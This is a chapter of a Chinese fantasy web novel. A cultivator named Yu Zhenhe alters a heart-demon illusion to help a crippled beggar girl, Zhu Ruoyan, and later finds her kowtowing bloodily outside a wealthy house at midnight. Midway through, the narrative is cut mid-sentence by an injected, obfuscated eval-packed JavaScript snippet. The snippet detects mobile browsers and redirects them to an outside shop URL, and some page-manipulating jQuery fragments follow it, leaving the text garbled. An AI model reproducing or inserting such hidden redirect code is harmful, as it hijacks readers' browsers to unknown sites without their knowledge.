女孩瞳孔微颤。
见此,鱼枕荷也没有多作解释,只看着她,眼眸笑弯起:“你也怕魔域的人吗?”
“反了。”不过须臾时间,女孩又恢复一如既往的平静,“是因为魔域的人屠害无辜,所以才怕他们。说到底,怕的是人,而不是哪里的人。”她朝鱼枕荷说道,“乱猜什么,没有怕你,我只是头一回见到魔域的东西,有些新奇而已。”
闻言,鱼枕荷低下脑袋若有所思,手中泛着血红光亮的玄星石被她像盘核桃般来回翻转来反转去。蓦地,她听见不远处传来渐近的脚步声,于是扭过头去。
巷口的拐角处探出一颗脑袋,是个约莫花信之年的粉裙女娘,额心一朵浅蓝花钿,清淡柔美。
四目交汇,只听那侧的女娘轻轻“呀”了一声,随即便小跑出来。
待她整个人离开阴影处,鱼枕荷与小女孩便都瞧见了她怀里揣着的、被叠得整整齐齐的簇新花青色棉袍,以及一根长木杆子。
粉裙女娘跑到女孩身前跪坐下,目光小心扫过周围,旋即将怀中勉强能充当拐杖的木杆子和棉袍推给她。木棍不算粗,但也不至于细到轻易被折断。
她用轻柔温软的声音说道:“姑娘儿,我同你讲呀,外头坏人木佬佬,多是软脚蟹嘞。你穿戴得清清爽爽,莫让人看出是讨饭的,他们就不敢动歪脑筋。”
女孩眨了眨眼,低头看了看手里的木杆子和棉袍,满脸懵然。
“好不好呀?”粉裙女娘继续说道,“阿姐的布衣店就开在葛条街东头第三份人家,没衣裳穿就来寻我,肚皮饿也来我家……”
“啊?我……什么?”
两人交谈时,鱼枕荷就安静窝在旁边。她轻易能听得懂吴语,便闻身侧的女娘正一字一句地细数自己平时什么时候外出,什么时候做饭,什么时候熄灯……
面对不知是从哪个拐角窜出来的、也许是从当时围观的人群散开后就回到自家店铺,取了衣服立马来寻她们的陌生女娘,女孩显然有点儿没反应过来,只得对方每说几句话,她便懵懵懂懂点两下头。
百忙之中,女孩抽空回望向鱼枕荷一眼,鱼枕荷瞬间便看懂了她眼神中掺杂的无奈思绪:
你们这里的人……话都这么多吗?
鱼枕荷回她以清浅的微笑,末了再度垂眸,看向手中的玄星石。
她携带的这块玄星石几乎有手掌心这么大,凹凸不平的表面红光透亮,显然是一块生长千百年未曾裂损,早已吸收了足够多血煞气的珍稀玄星石。此刻它静静躺在鱼枕荷手心间,静待发落。
实话说,若非反噬状况愈发严重,鱼枕荷真的还想在这片被她搅乱原本秩序的幻境内多待一会儿。没人能比她这个能时时刻刻切实感受到反噬的人更加清楚,外界所发生的现实,远比这片扭曲幻境要惨烈得多。
这是鱼枕荷头一回利用心魔引构筑心魔幻境,并亲身进入。听着身旁传来的细语声,鱼枕荷恍惚想道,原来茫茫人海中一个渺小不可闻的人的出现,当真能做到拨开既定命运的微茫一角,换来片刻缥缈的美梦。
哪怕先前拦下汉子的、此时此刻身处这里的不是她,是其他人,都无伤大雅。也许很多事走向截然不同的分叉口……就差这么一个小小的变数呢。
血煞气溢出玄星石,如一层厚重的黑红色烟雾逐渐掩盖住鱼枕荷的身形。
“祝若琰!我叫祝若琰!”
血光之外,一道声音传入鱼枕荷的耳朵,她企图透过煞气朝外看去。
女孩忽隐忽现的轮廓浮现在鱼枕荷眼前,有些脏污的脸颊上浮现一个极淡的笑:“祝英台的祝,草右若,琰圭琰,我的名字。你要走了对吧?不是说还要去打拐吗,等你什么时候决定好了,可以来找我。”她用大拇指点了点面前递给她新衣裳的女娘,“不出意外,我会在她店里。别记岔了,东街尽头第三家店铺。你知道的,我给不了你太多时间,过时不候。”
听到女孩名字的那一刻,某个原本模糊的猜想,在鱼枕荷脑海中逐渐成型。
若、琰。
炎……?
鱼枕荷也朝女孩露出一个笑容,尽管血煞气已经将她的面容遮得看不清楚。
她道:“放心,我们很快就会再见的。”
待到黑红血光迅速笼罩,再逐渐散去,鱼枕荷彻底消失在身旁二人的视线中。
粉裙女娘眨了眨眼,望着弥留的一丝血煞气,惊奇道:“啊呀,倷看看!葛个人‘嘭’一记就变没了呀?烟雾腾腾还带红光…该不会是灵隐寺飞出来的神仙菩萨嘞?”
“……”女孩无语道,“谁家神仙不冒金光冒红光,怕不是收到假香火了。”
女孩远远望着鱼枕荷消失的地方,不知在想些什么。
就在这时,一双手毫无征兆地摁在女孩瘪下去的肚子上。
女孩一个激灵,好似又回忆起那间霉臭的暗室里,同伴们被开膛破肚的情形,下意识地挥掌拍开粉裙女娘的手,瞪着她道:“你干什么?!”
粉裙女娘丝毫不介意女孩的反应,只当这是流浪儿本就该有的警惕心,依旧笑眼弯弯道:“肚皮咕咕叫了吧?我家灶披间饭应该焖得喷香了,阿姐带你回去吃热饭好不啦?”
“现在?”
“可不是嘛,你刚才都同边边上那个神仙菩萨讲好嘞。”
女孩默然片刻:“那……好,谢谢你了。”
知晓女孩腿脚不便,粉裙女娘便膝跪到女孩前面,转了个身背对她,随即朝身后说道:“上来呀,来趴稳阿姐背脊,我日日搬布匹练出的力气可不骗人!”
见状,女孩也不客气,笑了一声后双臂便直接环搂粉裙女娘脖颈,被她从地面背起。
“哎哟,你的杆,戳着我的面孔啦!”
“啊?哦。”女孩赶忙将握在右手的木杆子歪斜到不会戳着人的角度,“对不起,刚才没注意。”
粉裙女娘笑道了几句没事,继续背着女孩往巷子外走去。
“风来哉,云散哉,小囡囡有热汤暖哉……”
一个女娘背着个轻飘飘的小乞丐,哼唱着哄家中幼童的小曲,一步一步走向拥有明媚阳光的江南小街。
偏偏此时,天生异象。
自鱼枕荷离开后,丝丝缕缕的血煞气便像是没了约束,雨后春笋般滋长增生,逐渐盘踞整个天空,将原本湛蓝的天空完全笼罩,染成血色。
粉裙女娘似乎察觉到了异样,抬首望向天穹:“咦?这个天……红得跟染坊倒翻了朱砂缸似的哦。”
咔嚓——
钢丝崩断的声音从天际响起,天空的血红开始生出细密裂纹,从地面往高处看,就好像是天空裂开了。
“搞什么,怎么突然变天了?清早还好端端的!”
“阿唷唷,血沥沥红的……怕不是天上落下来的灾劫喔……”
“娘亲,我怕……”
……
不远处,许多过路的人也纷然往天上看去,或惊奇、或恐惧,一时间议论声炸响整条街道。
女孩同样抬起头,看向头顶那血红一片、无比诡异的血天景象,惊得张大嘴巴:“这是……什么……?”
无人回答。
下一秒,天崩地裂!
血红天空如同摔落在地的铜镜碎片般轰然坍塌,大地也出现道道深不可测的沟壑,猝不及防就要叫人坠落下去。
尖叫声,奔逃的脚步声,此起彼伏。
然而又仅仅是弹指一瞬间,行人、酒肆、花红柳绿、白墙青瓦……整条街上的所有场景便齐齐扭曲,宛如被一只无形巨手揉捏成一团。
一秒、两秒……
时间安静流逝。
待这只无形巨手重新摊
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17296663|198566||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
开,一切又回到了最初的样子。
行人、酒肆、花红柳绿、白墙青瓦……仿佛方才众人所看到的诡异场景,只是一场集体产生的幻觉。
街道的一头似乎有些骚动,几个零散路过的行人围聚在一起,悉悉索索地讨论着什么。
又过约莫半盏茶工夫,一个汉子拖拽着一个衣装破烂、左腿残废的小女孩,缓步走出人群……
……
另一边。
一阵天旋地转之后,原本高悬空中的金乌一点点被昏暗吞噬。暮色四合,街上热闹不减,巷里挨家挨户点起灯火。
猩红光芒消散,玄星石再度黯淡下来,被鱼枕荷藏回衣襟里。
离开了上一片错乱的幻境空间,鱼枕荷身上的心魔反噬已然不再继续加剧,只不过原先受到的那些伤迹尚且还没有好转的迹象。
此处仍旧是心魔幻境,在鱼枕荷的意念控制下,若不出意外,应当是到达了处于方才那重幻境之后的时间段。
夜市喧闹,巷子里便相对静谧。鱼枕荷独自在巷内穿梭,搜寻祝若琰的身影。
唔……的确是很快就会再见。
既然清楚了无常关“磕头鬼”的煞气源自于祝若琰,心魔幻境又是因其而生,即便鱼枕荷不知晓祝若琰此刻的身体状况如何,也至少能确定她还活着,而且不会离她穿梭过来时所处的位置太远。
就在这时候,不远处传来几道清脆的声响,撕破寂静夜色。
咚。
咚。
咚。
突如其来的动静,诡谲而突兀。
这动静落在旁人眼里,或许只是敲击声,但当它落在鱼枕荷、以及无常关弟子斋舍幸存的那些个门生眼中时,他们根本不可能辨认不出这份动静。
这是他们的一夜梦魇——
“磕头鬼”的声音。
弟子斋舍的心魔煞气爆发时鱼枕荷不在场,尽管如此,她对昨晚的事态也有基本的了解,此时立马便辨认出了磕头声,脚下步伐偏转,径直就循着方向找去。
随着鱼枕荷逐步靠近,磕头声传来的地方越来越近,声音也越来越清晰、响亮,仿佛具有某种穿透力。
最终,鱼枕荷来到一座宅院外。借着门前垂花柱下悬挂的灯笼所散发出的亮光,她看见了那接连不断磕头的声音来源。
那是一道极其瘦弱残破的身影,发丝打结成团,衣物破烂满是血污,坑坑洞洞的废布料虚挂在身上,掩盖不住单薄成一片的小身躯。
祝若琰。
门前的“磕头鬼”,是在前一重被鱼枕荷篡改过的幻境里,刚刚收到了簇新棉衣,有了温饱地的女孩。
此时此刻,她正对着宅院的正门,一下一下用力磕着响头,一股子不把身前的花岗岩踏跺撞碎不罢休的架势。光是听着,鱼枕荷便感觉额头疼,眉头不由得微微蹙起。
鱼枕荷体内的心魔反噬不再快速加剧,代表着幻境内错乱的时空被修正,自然而然地,鱼枕荷在前一重幻境的存在也会随之被抹除。幻境内的一切又回到了正轨,与外界那些曾经所发生过的历史重叠。
目之所及处,小身影还在不停歇地磕响头。鱼枕荷站在对方看不见的角落,自己却能借光看清正门对面那道身影,以及身影周遭的景象。
祝若琰额头上血肉模糊,血水蜿蜒而下,挂在她脏兮兮的脸颊上尤为可怖。在她面前的踏跺上,是那只曾被鱼枕荷落在街头的锈铁碗。
不过这会儿,碗里不再只有零星几块铜板和几张小面值银票,取而代之的,是好几块掰碎开的银子,甚至还有一块完整的银铤。
鱼枕荷仰头看向天穹。商星近中天,北斗指西南,正是子时。
她忽然有些明白,祝若琰为什么偏要挑在这里,也便是一个光看门楣装潢便是富贵人家的宅院外,反反复复磕响头了……